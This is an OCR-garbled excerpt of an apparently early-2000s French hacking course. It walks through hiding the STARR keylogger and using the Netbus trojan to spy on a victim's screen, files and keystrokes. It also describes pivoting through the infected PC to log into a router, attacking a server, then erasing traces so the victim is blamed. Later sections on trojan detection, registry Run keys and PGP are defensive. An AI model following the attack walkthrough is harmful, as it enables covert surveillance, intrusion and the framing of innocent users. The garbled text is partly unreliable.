2

= PC Monitoring

¥ Active Application ™ Popup tests

5% -
¥ &pplication path ¥ Time stamp logfile eveny |R0 minLtes
[T window class
¥ Kevstrokes & Paszwards

— Internet Maonitaring

¥ WEB [Visited Web sites)
¥ CHAT conversation [ Alk, ICQ, Yahoo Chat, M5 Meszenger]

[T Summanze chat at end of conversation

v AOL Pwindows titles, Wb sites, Chat, Email...]

Par 'onglet "Monitoring" vous pouvez spécifier sur quelles applications et quels processus vous
souhaitez porter votre surveillance. De méme, en haut de I'écran, vous pouvez moduler la configuration
concernant les captures d'écran ("screenshot") a votre guise.

1. Lancez une séance de capture (touche lecture/"Start"), et fermez STARR. Une fenétre s'ouvrira
vous rappelant comment réouvrir STARR au besoin. Celle-ci indique qu'il vous faut passer par
"Démarrer" "Exécuter" puis taper starrcmd.
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Good Byel Ed |

oo are about o leave the STARR Commander:
[Mote: The logging engine, if started, will continue to mnl].

Flease remernber that in the invizible installation mode the STARR
Commander iz started b tuping “stamcmd” in the ‘Windows RUN bowx, To
leave no traces, the STARR Commander automatically cleans the BUM
menu AFTER the PC is shut dowr or pou log off.

E Tj.lns thes mame of a program. folder, document. or Intemal
i and Windowe will open it for pow

¥ Display thiz message next tims.

Eu_l,l the full werson of i0pus STARR nowl E st |

2. Pour tester le logiciel, menez vos activités comme vous le faites courrament, et au bout d'une
dizaine de minutes par exemple relancez STARR.

3. Pour afficher le résultat de I'enregistrement des données, cliquez d'abord sur le bouton "Creat
Report from STARR log". Cette étape est obligatoire, sinon le logiciel ne créera pas le fichier log.

1. Create Repart from STARR log

4. Ensuite cliquez sur View Report, ce qui vous ouvrira I'éditeur de texte ou de page approprié selon
I'option d'enregistrement que vous avez choisi. Si vous avez gardé |'option d'un fichier log au
format HTML alors ce sera votre navigateur web qui s'ouvrira.

2. Yiew Report

La magie de I'espionnage a fait son chemin, vous voici maintenant en possession d'un fichier de log
complet, structuré et détaillé de toute I'activité de votre PC.

lI- Prise de controle a
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Le meilleur systeme d'espionnage a distance qui ait jamais été congu reste le trojan. Un trojan est une
application de type dit "cheval de troie". Car, tout comme le cheval de Troie, il s'installe discretement sur
une machine a l'insu de l'utilisateur.

a - Comment marche un trojan ?

L'immense majorité des trojans se dissimulent dans des applications éxécutables au format ".exe". Ces
fichiers n'ont l'air de rien lorsqu'ils s'éxécutent : des petits jeux, des animations, des faux messages
d'erreurs... Mais ils installent en arriére plan, sur la machine qui a éxécuté le logiciel, une application
serveur invisible. "Invisible" car l'utilisateur n'a jamais eut connaissance ni de son installation ni de son
fonctionnement. Ce serveur va ouvrir un port, et attendre passivement des demandes de connections de
la part d'un client adapté.

Le pirate, lui, dispose de l'application client, qui est la seule a pouvoir communiquer avec le serveur. Une
fois connecté il va pouvoir interragir avec la machine de la victime ce qui va lui permettre de faire tout ce
que le trojan lui permet. Ainsi deux trojans différents ne permettront pas forcément a un pirate de faire
les mémes choses. Au fur et a mesure que les années se sont écoulées, les troyens ("trojan" au pluriel)
ont fini par se complexifier, a se diversifier, a envahir d'autres systémes d'exploitation... Le plus complet
et I'un des plus célébre de nos jours reste certainement Back Orifice 2000, mais le plus illustratif et
démonstratif, de par sa simplicité d'utilisation, est Netbus.

b - Expérimentation

Afin de bien vous mettre en conditions, nous allons expérimenter, tester, et ainsi voir quelle peut-étre
l'utilité d'un trojan. Dans cet exercice nous allons prendre deux machines. L'une d'elle représentera la
victime, I'autre le pirate. Le but de I'exercice est d'arriver a prendre un contrdle total et utile de la machine
piratée. Nous utiliserons Netbus 1.7, car, bien que ce ne soit pas la derniere version, elle est largement
suffisante pour nos démonstrations. Nous avons pris pour faire les essais deux machines dans un
réseau local. L'une est infectée, l'autre sert a simuler la machine du pirate.

Interface
i3 MetBus 1.70. by cf
REEREE R Host nameP; lm _ﬂ Port: I1?345
Open CD-ROM [ ininterval: [0 About | Addip | Connect: |
Show image Function delay: ]E_ Memo I Del IP I Scan! I
Swap mouse Port Redirect App Redirect Server setup
Start program Play sound !l]_ Il]_ Control mouse
Ms=g manager Exit Windows Mouse pos Go to URL
Sereendump Seni text Listen Key manager
Get info Active wnids Sound system File manager
Ho connection | g

L'interface graphique de Netbus ne se compose que de boutons (grand bien en fasse aux Script-
Kiddies). Par défaut I'adresse IP entrée dans "Host name/IP" est la votre. Et le port indiqué est "12345",
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qui est en fait le port qu'utilise le serveur de Netbus par défaut. Pas de danger lorsque vous éxécutez le
client : il n'est pas infecté, quoiqu'en dise votre anti-virus.

Connection

1. Utilisez la zone "Host name/IP" et indiquez-y I'adresse IP (ou le nom d'héte) de la machine
infectée

Host nameP; |kl b -

2. Cliquez sur "Connect!"
3. Une fois connecté, le logiciel devrait vous le signaler

|Cunnet:ted to 192.168.0.2 (ver 1.70)

Espionnage

1. La premiére fonction d'espionnage que vous pourrez exploiter sous Netbus est certainement
"Screendump”, qui sert a faire des photos d'écrans de la victime et a vous les envoyer
directement.

Screendump

2. Ensuite vous pourrez toujours visualiser les processus actifs de la victime, comme si vous utilisiez
son gestionnaires d'applications, grace a la commande "Active wnds" ("Active windows", en
frangais : "Fenétres actives")

Active wnds

Ce qui vous offre, par l'intermédiaire d'une fenétre interne, un listing des applications ouvertes. II
est nécessaire de rafraichir régulierement cette liste afin de maintenir une surveillance continue
sur une cible.

18. Art OF Trance - Madagascar [Cygnusx Mix] - Winamp -~
Preview

Preview

Preview

Tool Options - Arrow

Preview

Preview

Preview

Jazc Paint Shop Pro ;I

Kill wnd Focus wnid Close |

3. Le gestionnaire de fichiers a distance est aussi trés pratique et méme effroyable. Lancez le par
l'intermédiaire de la touche "File manager”
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Cliquez ensuite sur "Show files", ce qui aura pour fonction de télécharger toute I'arborescence du
disque dur de la victime. Il devient désormais possible d'envoyer, d'effacer, de télécharger
n'importe quel fichier sur le disque dur de la victime a son insu.

=- -
- WINB

- SUHDLOG.DAT (0k)

- DETLOG.OLD {7k}

- AUTOEXEC.DOS {0k}

- FRUNLOG.TXT {1k}

- MSDOS.—- (0k)

- SETUPLOG.TXT (126k})
- WINDOWS

- NETLOG.TXT (6k)

- CONFIG.DOS {0k)

- SUHDLOG.BAK (0k)

(|

- SUHDLOG.--- {5k} ‘,,J
Show files | Download Upload | Delete |
Remote file: i

Progress: ldle Close |

4. Les fonctions de Keylogging vues préalablement sont toujours actives : en effet Netbus intégre un
gestionnaire de clavier tres performant puisque, non seulement vous pouvez lire en direct ce
qu'écrit la victime, mais vous pouvez aussi écrire a sa place ! Ceci grace a la fonction "Listen"

Une fois dans le gestionnaire de frappe de Netbus, sachez que toutes les touches (Oui, toutes !
Méme ALT, TAB ou ENTREE) sont prises en compte.

T T [1 ALT-TAB | CTRL-ESC |
TAB

Aprés quoi vous avez la possibilité d'enregistrer ce qui a été frappé par la touche "Save text".
Démonstration d'une prise de contréle
L'utilisation de trojans est quelque chose que beaucoup de pirates ont en horreur : c'est trop simple, ce
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sont des logiciels qui ne s'adressent quasiment qu'a I'attaque d'internautes, et non pas de véritables
serveurs d'entreprise... Bref, la réputation du trojan au sein de I'underground laisse fort a désirer.
Cependant un bon pirate peut faire une utilisation intelligente et calculée d'un trojan. Plutot que de
bétement redémarrer l'ordinateur de la victime, on va essayer d'en prendre le contréle afin de perpétuer
nos attaques sous le couvert de I'anonymat le plus total. "Total", pourquoi ?

Petit Scénario

1. Le pirate Clad désire attaquer le serveur X.

2. Il sait que s'il I'attaque de front ce serveur, son adresse IP risque d'étre repérée au niveau des
systemes de sécurité du serveur X (firewalls, IDS, systémes de logs...)

3. Il va donc utiliser un systéme par lequel il fera transiter ses demandes de connections, comme un
routeur.

4. Sauf que, si il y a une enquéte approfondie sur I'attaque, Clad sait qu'ayant laissé son adresse IP
sur le routeur il prend des risques.

5. Il va donc utiliser I'ordinateur d'un malheureux particulier pour se connecter sur le routeur et
ensuite attaquer le serveur X.

6. Il prendra ensuite soin d'effacer toute trace de ses manipulations chez la victime. Si l'opération se
passe bien, il y aura une prise de risque quasi nulle, et, au pire, ce sera sa victime qui se fera
inculper.

Pratique

- En premier temps Clad se connecte a la victime, et ce une fois fait, il lance une application telnet,
afin de se connecter au routeur, par le biais du bouton "Start Program". Ce qui est brouillé sur
I'image représente I'adresse IP que nous avons tenue au secret.

Application ) x|

Application ta start [whaole path including program-narme

Faq

Ic:'\WindDws‘atelnet.e:-:e Jﬂ ki

OF. I Cancel

- |l s'assure ensuite que la communication a bien été établie et ceci par le gestionnaire
d'applications distant ou la fonction "Screendump”

Chez le pirate Chez la victime
Active windows X|

10. 11. tunnel trance force vol.7 - ulira shock - the sound of }

el 4R
Tool Options - Crop Connesion Edbon  Teminal
Preview

Preview

Preview

Jasc Paint Shop Pro - Image3 (active}

il

User Access Uerification

Majen [ianeway.skg;r;'-let.be:ﬂl]:ill] - Conversation
ZATAZ magazine, actualite, securite informatique, hackers, _'J Passuord:

Refresh Kill wnd Focus wnd Close |

- Ensuite Clad bloque le clavier de l'utilisateur, de sorte que celui-ci ne puisse intervenir dans les
manipulations futures qu'il va effectuer, grace aux touches "Key manager"
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| Key manager l

puis "Disable all Keys"

Keyboard Y

Key click

Restore all keys

- Il s'agit maintenant d'entamer la procédure d'authentification au niveau du routeur en entrant un
bon mot de passe. La procédure est simple : il suffit au pirate d'utiliser le gestionnaire de touches
de Netbus, par la fonction "Listen"

Chez le pirate Chez la victime

x| - Telnet -

LConnexion Ed\tmn Telmmal s

1234
connect 208 237 124 184 25

User Access Uerification
Password: 1234

Cisco2621>connect 288.237.124.184 25
Trying 208.237.124._184, 25 _.. Open
228 gcformal.com ESHTP Sendmail 8.8.8/SC05 ready at Thu, 3 Jan 2882 23:51:48 -85

l_ @8 (EST)
Clear I Sauetextl 1 AL:;:B Sl 1

- L'authentification depuis la machine de la victime a réussie. Maintenant, si I'adresse IP est
enregistrée sur le systéme piraté, ce sera celle de la victime infectée par Netbus, et non celle de
Clad, qui sera retenue.

- Clad utilise maintenant le systéme pour se connecter au serveur X.

Effacer les traces

Maintenant que le pirate a réussit son coup, il doit effacer toutes traces de ses activités. En premier
temps il va fermer toutes les applications qu'il a lancé a distance, grace au gestionnaire d'applications et
a la fonction "Kill wnds". Ensuite il va restaurer le contrdle du clavier grace a "Key manager" et "Restore
all keys". Enfin il va supprimer le trojan de la machine, afin que la victime ne s'apergoive Jamals de son
infection, grace a "Server admin" et "Remove server". La victime ne pourra jamais prouver sa bonne foi
dans le cadre d'une enquéte judiciaire.
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CHAPITRE VI

Detection Trojans
et Keyloggers

| — Detection d activite anormale
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Un trojan est une application cachée, donc il n'échappe pas a la reégle du "WinForce", comme expliqué
dans la partie KeyLogging. De plus de nombreux symptdmes trahissent les trojans : seuls les intrus
modérés sauront vous pirater sans vous alerter. Sinon des outils de surveillance des communications
réseaux peuvent se révéler bien utiles. Fourni avec Windows, et fonctionnant sous DOS, Netstat
(Network Status) vous affiche quelles communications sont établies, avec qui, et par quels ports. Pour
cela il suffit d'aller en mode MS-DOS et de taper netstat. La commande netstat /? vous permettra de voir
comment utiliser des fonctions supplémentaires.

ESTAELISHED
ESTABLISHED

LT SHED
ESTAEL ISHED
TIME_WAIT

[ B T e T e N =

Scanner vos propres ports (sur I'adresse IP 127.0.0.1) est aussi treés utile : cette méthode s'avére
beaucoup plus efficace dans le repérage de trojans que l'utilisation d'un traditionnel anti-virus... Mais
surtout, et c'est ce qu'il y a de plus important, votre prudence est votre plus grand facteur de sécurité. Il
existe quelques logiciels comme fport (http://www.foundstone.com/) qui vous permettra de connaitre les
applications qui ouvrent les ports de votre machine :

C:sDocuments and SettingssCrashFr>fport
FPort vw2.8 — TCP-IFP Process to Port Mapper
Copyright 2080 by Foundstone, Inc.
http:sA7vwu . foundstone _.com

Process Fort Proto Path
—>» 135 TCP
System —% 139 ICP
System —» 445 TCP
—» 1825 TCP
Sustem —» 1384 TCP
putty —-» 1379 TCP Cosputty.exe
azhMaiSu —» 12825 TCP C:sProgram Files~Alwil Software“Avaszt4dsaszh
ailv_exe
azhMaiSv 12114 TCP C=sProgram Files“~Alwil Software“Avasztd azh

azhMaiSv 12143 TCP C=sProgram Files“~Alwil Software“Avast4dsash

Si vous avez pris le temps de le faire, vous vous serez apercu que STARR n'est visible ni par le
gestionnaire de taches ni dans la barre de taches. A ce probléme, pas de solution miracles. Il faut faire
appel a un logiciel adapté. Nous en avons pris un, qui recense tous les processus actifs sur votre
machine (comprenez toutes les applications qui tournent).

Winforce est un utilitaire gratuit, Iéger et trés simple d'utilisation. Vous pourrez le trouver sur
http://www.download.com. La fenétre de gestionnaires d'applications de WinForce comporte deux
fonctions essentielles :

- Actualiser
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=10 ]

-ddhelp.exe [ Bealime | __]%F Mernu onTop Tray

- explorer.exe [ Marmal |
Cicg.exe [Mommal ] b” ‘

+

iewplore.exe [ Mommal | S ——
i kemel32.dl - [High] Clazs:
E loadgm.exe [ Momal | Handle:
B bcoms.exe [ Nomal ) Shartad:
e mmtask sk [ Momal | ProciD: 4293402139
E mprese.exe [ Marmal | EXE: ddhelp.exe
B megered2exe [Momal )
E memzgs.exe | Mormal | Ic:Hwinduws‘asystem\
E mstazsk.exe [ Maormal | sl et

-retscape.ese [ Mormal |
e i |

i patorez.exe [ Mormal |
-spool3Z.exe [ Maormal ) Size:  Width: Height:

-stimon.exe [ Mormal ] [_ I_‘

-apgtrap.exe [ Mormal |
-tazkmon.ere [ Momal |

: —Priarity—
- winamp.exe [ Maormal |
- winforce, exe Ide
¥ winzip32 exe [ Nomal | Maormal Kil
L miene, exe [Mormal ) High
cwzyzexe [ Mormal ) = m

Change | Title | Class |

4| | :

La fonction Actualiser s'obtient par le bouton bleu en forme de fleche. Sélectionnez 'application a fermer
et appuyez sur "Kill". L'application se fermera de force.

Autrement des séries de symptdémes peuvent étre indices qu'un logiciel inconnu tourne en tache de fond :

- La protection antivirus du BIOS vous informe d'un accés a la zone d'amorcage du disque dur.

- Lorsque vous lancez votre ordinateur, un message vous indique qu'il ne peut pas démarrer a partir
du disque dur.

- Windows refuse de charger les pilotes de disque dur 32 bits.

« Au lancement de Windows, un message vous informe qu'un programme TSR force le démarrage
en mode compatible MS-DOS.

- ScanDisk détecte des fichiers a liaison croisées ou d'autre problémes.

- ScanDisk indique des secteurs défectueux sur les disques durs ou les disquettes.

- La taille des fichiers éxécutables augmente subitement.

- La date de création ou de modification des fichiers comporte des valeurs erronées.

- Vous constatez que l'ordinateur se bloque fréquemment alors que vous n'avez ajouté aucun
nouveau composant logiciel ou matériel.

- L'ordinateur se bloque et indique une erreur de parité.

- L'ordinateur semble étre plus lent sans raisons apparentes.

- Le clavier et la souris ne fonctionnent plus de maniéere fiable, méme aprés un nettoyage.
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- Des fichiers ou des dossiers disparaissent de votre ordinateur de fagon inexpliquée.
- Dans vos documents des mots disparaissent ou s'ajoutent subitement.
« Votre ordinateur a des réactions imprévues, voire devient incontrélable.

Ces symptémes sont plus globalement liés a l'activité de virus, mais certains d'entre eux sont récurrents
pour divers types d'applications malicieuses. C'est le cas des ralentissement ou des disfonctionnement.

I — Initiation a la bas ‘ windows

La base de registre est actuellement le support fondamental sur lequel repose I'éxécution de Windows.
C'est dans cette base de donnée que sont entrées toutes les variables du systemes. Certaines variables
sont plus utiles que d'autres : certaines déterminent des mots de passe, d'autres des associations aux
formats de fichiers, d'autres encore les programme qui démarrent lors de l'initialisation de Windows, etc.

Il est tres facile de manipuler la base de Registre, il suffit d'en comprendre le fonctionnement. Une fois
que vous aurez bien assimilé comment manipuler votre BDR (Base de Registre), vous pourrez, sans
danger, y apporter les modifications désirées.

E xécuter E |

pe=ml  Tapez le nom d'un programme, dossier, document ol
d'ume reszounce Internet st Wwindows l'ouvrira pour wous,

Duetie : | ﬂ
Ok, I Anrler | E:arcnurir...l

L'utilitaire de gestion de la BDR est Regedit. c'est un utilitaire Windows que vous pouvez lancer via
"Démarrer", "Exécuter" puis en tapant regedit.

1 - Structure

La structure de la base de registre est simplissime. Ce sont six répertoires racines et des ensembles de
sous-répertoires qui forment des arborescences.
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e:_l HKE"r" EL.-'l'-.SSES ROOT
:J HKEY_CURREMT_USER
HEEY_LOCAL _MACHIME
HKEY_USERS
HKEY_CURREMT_COMFIG
HEEY_Dh_DaTA,

")

R
PRRDE

<] | gl

Poste de travail %

A voir la structure de la BDR, en développant les répertoires, on se rend trés vite compte de plusieurs
choses :

1. C'est trés mal organisé
2. Il n'y a aucun repére
3. Certaines données sont incompréhensibles

La BDR n'est qu'un ensemble de variables auxquelles se réferrent Windows et les applications qui y sont
installées pour fonctionner. Pour les développeurs nul besoin d'informer ['utilisateur des modifications qui
interviennent sur la BDR, ni quelles sont ces modifications ou a quoi elles servent. Les rpéertoires sont
ce qu'on appelle des "clefs", a l'intérieur de ces clefs, se trouvent des valeurs. A ces valeurs ("Nom" étant
le nom que I'on attribue a la valeur) on attribue des variables ("Données" étant les données variables
d'une valeur). |l existe trois types de valeurs :

1. Chaine, a laquelle peuvent étre rattachés des données au format ASCII (tous caractéres)

2. Binaire, a laquelle ne peuvent étre rattachées que des données au format binaire (base 2, des
série de 1 et de 0)

3. DWORD, a laquelle ne peuvent étre rattachées que des données au format décimal (base 10) ou
héxadecimal (base 16).

_Mom | Données

':| [Cr&fat) [waleur non définie]

B8] aleur binaire 1 011010101010101010
-_I__,_j‘v’aleur Chaire "Données de la walaur

%] aleur DWORD 0=00af2454 (11473100])

Ce sont a ces variables que se réferrent les logiciels. Par exemple le logiciel X va aller chercher la valeur
"Faire" dans la clef "HKEY_CLASSES_ROOT/Programme X" et vérifier quelle donnée lui a été attribuée.
Si la donnée est "Oui", alors le logiciel X se lancera compléetement, si cette donnée est "Non", alors le
logiciel X se bloquera.

C'est tout ce qu'il y avait a savoir contenant la structure de la BDR.

Remarque : La valeur par défaut "(Défaut)" qui est une valeur Chaine non définie, se trouve dans toutes
clefs, des lors qu'elles sont crées.
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2 - Manipulation
Vous n'avez que quatre possibilités au niveau de la BDR :

Effacer : des clefs, des valeurs.

Créer : Créer des clefs et des valeurs.

Modifier : modifier des données, renommer des clefs, ...
Transposer des informations de BDR.

hLON=

Pour effacer une clef ou une valeur, sélectionnez la et cliquez sur "Suppr" ou faites un clic droit
puis "Supprimer", ou encore le menu de regedit : "Edition", "Supprimer", aprés avoir sélectionné
I'élément a supprimer.
Pour créer une clef ou une valeur, allez dans la colonne de droite correspondant a la clef dans
laquelle vous voulez créer vos éléments, et utilisez le clic droit puis "Nouveau" ou directement le
menu de regedit, par "Edition", "Nouveau", et choisissez I'élément a créer.
Pour renommer
des clefs : faites un clic droit sur la clef et choisissez "Renommer".
des valeurs : faites un clic droit sur la valeur puis choisissez "Renommer"
des données (les modifier) : faites un clic droit puis "Modifier"ou directement un double clic
sur les valeurs dont vous voulez modifier les données.
Dans le cadre des transpositions, pour
Copier le nom d'une clef : faites un clic droit sur une clef et choisissez "Copier le nom clef",
ou utilisez le menu par "Edition", "Copier le nom clef".
Copier une valeur ou des données : faites "Modifier" et copiez coller le texte dans les cases
respectives des valeurs/données.

Remarque : le copiage de clefs, de valeurs ou de données, ne servent qu'a la retransposition de ces
données textes dans un environnement d'édit de texte. Vous ne pouvez copier une clef, une valeur,
comme vous copiez un fichier courant.

3 - Les valeurs nécessaires au démarrage des applications Windows :

Vous le saviez trés certainement, certaines applications windows se lancent par l'intermédiaire du menu
"Démarrer", "Programmes", "Démarrage". Mais la BDR et les fichier systémes windows sont aussi des
lieux de lancement des applications. En effet Windows va vérifier dans certaines clefs fixes de la BDR,
ou a certains endroits précis des fichiers systéemes de Windows, quelles applications il doit lancer. Ces
clefs, elles ne sont pas nombreuses :

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Runonce

HKEY_ CURRENT_ USER\Software\Microsoft\Windows\CurrentVersion\Runservices
HKEY_ CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx

. HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices

10 HKEY _ LOCAL MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
11.Et ainsi de suite...

©COeNoOGORWN =

A partir des répertoires racines, il suffit de rechercher I'existance d'une clef "Run" ou similaires dans
"Software\Microsoft\Windows\CurrentVersion". Si il n'y a pas de clef qui s'y apparente, c'est qu'aucun
logiciel n'a tenté de créer la clef. Au niveau de ces clefs, vous avez les valeurs (aux noms des logiciels en
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général) qui ont pour données le répertoire ou se trouve le logiciel a lancer.

Mom | Donndes |
@ [D1&faut] [waleur non définie]

[iﬂ Mirabiliz [CO "C:AProgram Filesh | CAMCENeg. exe -minimize’’

E"ﬂ FMSMEGES "'C:AProgram Files'\Meszsengersmamsgs.exe’’ /backaround'

Ici par exemple ce sont ICQ et MSN Messenger qui se lancent au démarrage depuis les répertoires ou ils
ont été installés.

Vous pouvez, par sécurité, par confort, ou dans un but nuisible, enlever des applications trop lourdes au
démarrage ou en rajouter. C'est dans ces clefs que s'installe, par exemple, Netbus pour s'auto-relancer
au démarrage de Windows et c'est dans ces mémes clefs que s'installent beaucoup d'applications
malicieuses (keyloggers entre autres).

Pour en savoir un petit peu plus sur la BDR et sa manipulation, notamment sur la fabrication de fichier de
BDR (.bdr), réferrez-vous au cours Newbie+.
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CHAPIIRE VI

Cryptographie
et stéganographie
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Avant toute chose, rappelons qu'il y a une distinction qui est nécessaire, incontournable, et que vous
vous devez d'apprendre par coeur. Elle est simple. Elle consiste a séparer d'une part la cryptographie et
d'une autre part I'encodage. En effet ces deux éléments sont totalement dissociés.

L'encodage est le processus qui consiste a transformer des données initiales en d'autres données,
différentes. Supposons que les données initiales soient des textes. L'encodage va modifier ces textes,
grace a un et un seul algorithme mathématique, en d'autres textes, totalement différents. Pour retrouver
les textes initiaux c'est I'utilisation inverse du processus mathématique qui intervient. Ainsi I'encodage
utilise toujours un seul et méme processus mathématique pour fonctionner.

Le cryptage, quant a lui, utilise des algorithmes différents, qui nécessitent une clef. Les vieilles méthodes
de cyrptage utilisaient une clef unique, pour crypter et décrypter un message. Les méthodes actuelles
nécessitent deux clefs :

Une clef publique : cette clef est mise en libre accés a qui le souhaite. Disponible en
téléchargement sur des sites, sur des serveurs dédiés, ou par envoi d'e-mail, la clef publique est
celle qui va étre utilisée au cryptage des données. Ces données, une fois cryptée, ne s'adressent
qu'a une, et une seule, personne. Celle possédant la clef privée.

Une clef privée : cette clef permet de décrypter les messages encryptés a l'aide d'une clef
publique. Le processus de décryptage n'est pas l'inverse du processus de cryptage, c'est pourquoi
il est difficile de décrypter un message crypté avec une clef sans posséder l'autre clef.

Petit scénario simple. Prenons Raoul et Raymonde. Raoul désire envoyer un message a Ramyonde.

Il va I'encrypter avec la clef publique que lui a passé Raymonde.

Il va envoyer le message ainsi crypté a Raymonde.

Raymonde va le décrypter a I'aide de sa clef privée.

Raymonde va répondre a Raoul avec la clef publique qu'il lui a passée.
Raymonde va ainsi envoyer le message cryptée a Raoul.

Raoul va le décrypter avec sa clef privée.

ook wd =

Ainsi quatre clefs entrent en jeu, soit deux paires de clefs. Chaque paire a une clef privée et une clef
publique. Mais attention ! Si I'on suit notre exemple précédent, il faut bien voir que jamais Raoul n'aurait
pu décrypter le message de Raymonde avec une clef privée autre que la sienne. Par ailleurs il n'est pas
censé avoir d'autres clefs privées que les siennes. Ainsi I'on associe toujours a une clef publique, une et
une seule, clef privée.

Sans vouloir vous assassiner avec un cours historico-mathématique au sujet de la cryptographie, sachez
toutefois que le systéme vu précédemment a vu ses bases naitre grace a Whitfield Diffie et Martin
Hellman. Ce fut ensuite au tour de trois mathématiciens de génie, Rivest Shamir et Adleman, de mettre
au point le systeme RSA, premier systéme de cryptographie moderne, encore trés réputé. Si la fabuleuse
histoire de ces trois mathématiciens et les calculs mathématiques vous intéressent, je ne saurais trop
vous recommender de vous réferrez en fin du cours pour y trouver des liens utiles.

Un utilitaire trés intéressant vous permettra d'appliquer des processus cryptographiques (cryptage,
décryptage, signatures) de fagon trés simple. Il s'agit de PGP. PGP (Pretty Good Privacy) est un outil
populaire qui s'adresse au grand public et qui permet bien plus qu'un simple cryptage. Utilisant différents
systémes de cryptage, cet utilitaire s'avere étre une référence. Actuellement la version 7.03 en frangais
est gratuite. Sur http://www.pgpi.org vous ne trouverez que les derniéres versions récentes, et payantes,
de PGP. En revanche le projet GPG (GnuPG, The GNU Privacy Guard) permet de développer une
version libre de PGP, n'utilisant plus 'algorithme IDEA. Vous la trouverez sur http://www.gnupg.org. La
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différence entre les deux se trouve certainement au niveau de leur practicité.

PGP

GPG

Aszszistant de génération de clés E

Pour que l'on puisse vous envoyer des messages securises 5
1 Ialde de PGP, vous devez impérativement générer une paire de
numérique de documents.
5 H’
publique » et une « clé
& privée » La clé publigue doit &tre distibuge au plus grand

nombre [FEF facilite cefte distribution grace & des sepveurs de
clés]. Aftention, la clé privée doit rester un secret absolu |

Sivoug désirez en gavor plus sur ce qu'est une paire de clés et
sur la maniére dont elle fonctionne cliquez sur le bouton « Aide »
cl-dessous.

Cliquez sur « Suivant » pour continuer.

Annuler Aide

Les deux logiciels présentent les mémes fonctionnalités. Cependant les allergiques de I'anglais et des
lignes de commandes préfereront nettement PGP a son petit frére. Afin de contenter tout le monde, nous
expliquerons comment utiliser les deux.

PGP

1. Apres avoir installé PGP, lancez PGPTray. PGPtray va permettre a PGP de rester en application
permanente, jusqu'a ce que vous ayez besoin de lui.

2. Faites un clic droit sur PGPtray (le gicadenas gris  en bas a droite dans la barre de
taches) et lancez PGPtools.

3. L'interface de PGPtools est trés simple.

Etape 1 : Créer des clefs (PGP)

Le premier g)ﬁ icbne est celui concernant la gestion et la génération des clefs. La création de
clefs est trés simple, I'assistant, en francais, ne fait que simplifier le processus. Si vous n'en avez pas
déja créé, vous pouvez toujours en créer de nouvelles.

1. Dans les champs "Nom complet" et "Adresse électronique" entrez un nom d'utilisateur (évitez
d'entrer de vraies informations), dans "adresse électronique" vous pouvez par contre mettre la
vétre.

2. Puis choisissez le type de clefs que vous souhaitez créer. Dans notre exemple nous choisirons
RSA.

3. Choisissez ensuite la taille de la clef, nous prendrons ici 2048 bits. Sachez que plus la taille (en
bits) d'une clef est grande, plus grande est sa force. Une clef d'une toute petite taille ne garantit
qu'une maigre sécurité face a des méthodes de décryptage : c'est une coquille d'oeuf.

4. Choisissez ensuite la date d'expiration de la paire de clefs. Permettre a une clef d'expirer a un
avantage, et un inconvénient. L'avantage est que, si votre clef privée est un jour découverte ou
votre cryptage cassé, renouveller vos clefs vous permettra de communiquer a nouveau sans vous
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soucier de ce fait, car le cryptage que vous utiliserez, basé sur de nouvelles clefs, n'est pas cassé.
L'inconvénient c'est qu'il vous faudra envoyer votre clef publique a tout vos correspondants, mettre
a jour toutes vos zones de diffusions, etc. Il se peut qu'un jour un correspondant vous envoye un
message crypté avec une vieille clef publique, vous ne serez pas a méme de le décrypter. Ainsi
pour notre exemple nous ne prendrons pas de date d'expiration.

5. Entrez ensuite une phrase secréte, qui a pour valeur de mot de passe. Le mot "phrase" est censé
inciter I'utilisateur a rentrer une phrase (soit une longue suite de caractéres) plutét qu'un simple
mot. Une phrase a une plus grande valeur de sécurité qu'un mot. PGP inclut d'ailleurs un
indicateur de qualité de la phrase qui doit vous guider sur le choix de la longueur de votre phrase.
Cette phrase vous sera demandée lors de I'utilisation de votre clef privée (donc au décryptage).
Quel intérét cela a-t-il ? Si quelqu'un arrive a copier votre clef privée, il ne pourra pas s'en servir
sans le mot de passe adéquat.

6. Aprés que la génération se soit terminée, vous avez la possibilité d'envoyer votre clef publique sur
un serveur de clefs. Cela permettra a quelqu'un qui ne connait que votre adresse e-mail, par
exemple, de voir si vous avez mis en ligne une clef publique. Ce n'est pas du tout obligatoire.

7. Le processus s'est achevé, vous voici en possession de votre nouvelle paire de clefs

4% PGPkeys

Fichier Edition %o Clés Serveur Groupes éi&;]?
ZIAw LT R = H
Cléz I Walidite ! Canfi... I Longueur ! Description |

Sk <8 Clad <clad@anonymat.com> €5 | 2045 Faire A5
=] Clad £ clad@anonymat. conm: ) |[dentité de ['utilizatewr
i -f;i?_, Clad <cladi@anonymat. com: RS54 zignature exportable

Nous allons maintenant voir comment utiliser cette paire de clefs dans le cryptage et le décryptage de
nos données. Sachez au préalable que n'importe quel type de donnée peut-étre crypté : tout ce qui est
fichier sur votre disque dur peu I'étre.

Etape 2 : Encoder et signer (PGP)

Le processus de signature d'un message est simple. || permet a Raymonde de savoir que c'est bien
Raoul qui lui a envoyé ces messages crypté avec la clef publique de Raymonde. En effet comment
Raymonde pourrait-elle savoir si c'est bien Raoul qui lui envoye ces messages alors que sa clef publique
peut-étre utilisée par n'importe qui ?

1. Raoul va crypter son message avec sa clef privée a lui, puis avec la clef publique de Raymonde.
Donc il y a un double cryptage.

2. Raymonde va décrypter avec sa clef privée le message encrypté avec la clef publique (qui est la
sienne), puis va redécrypter a nouveau le message avec la clef publique de Raoul car - et on ne
vous l'avait pas dit pour ne pas sombrer dans la confusion - une clef publique peut décrypter un
message encrypté avec une clef privée, a condition bien sur qu'elles soient de la méme paire.

Ainsi Raymonde est sure que les messages proviennent bien de Raoul car elle a pu décrypter avec sa
clef publique, le message encrypté avec la clef privée de Raoul, qu'il est le seul a posséder.

PGP vous facilite la tache : quelques clics suffisent a signer et a encrypter ses messages. Voyons cela.

1. Créez un fichier texte de tests dans un répertoire de test.
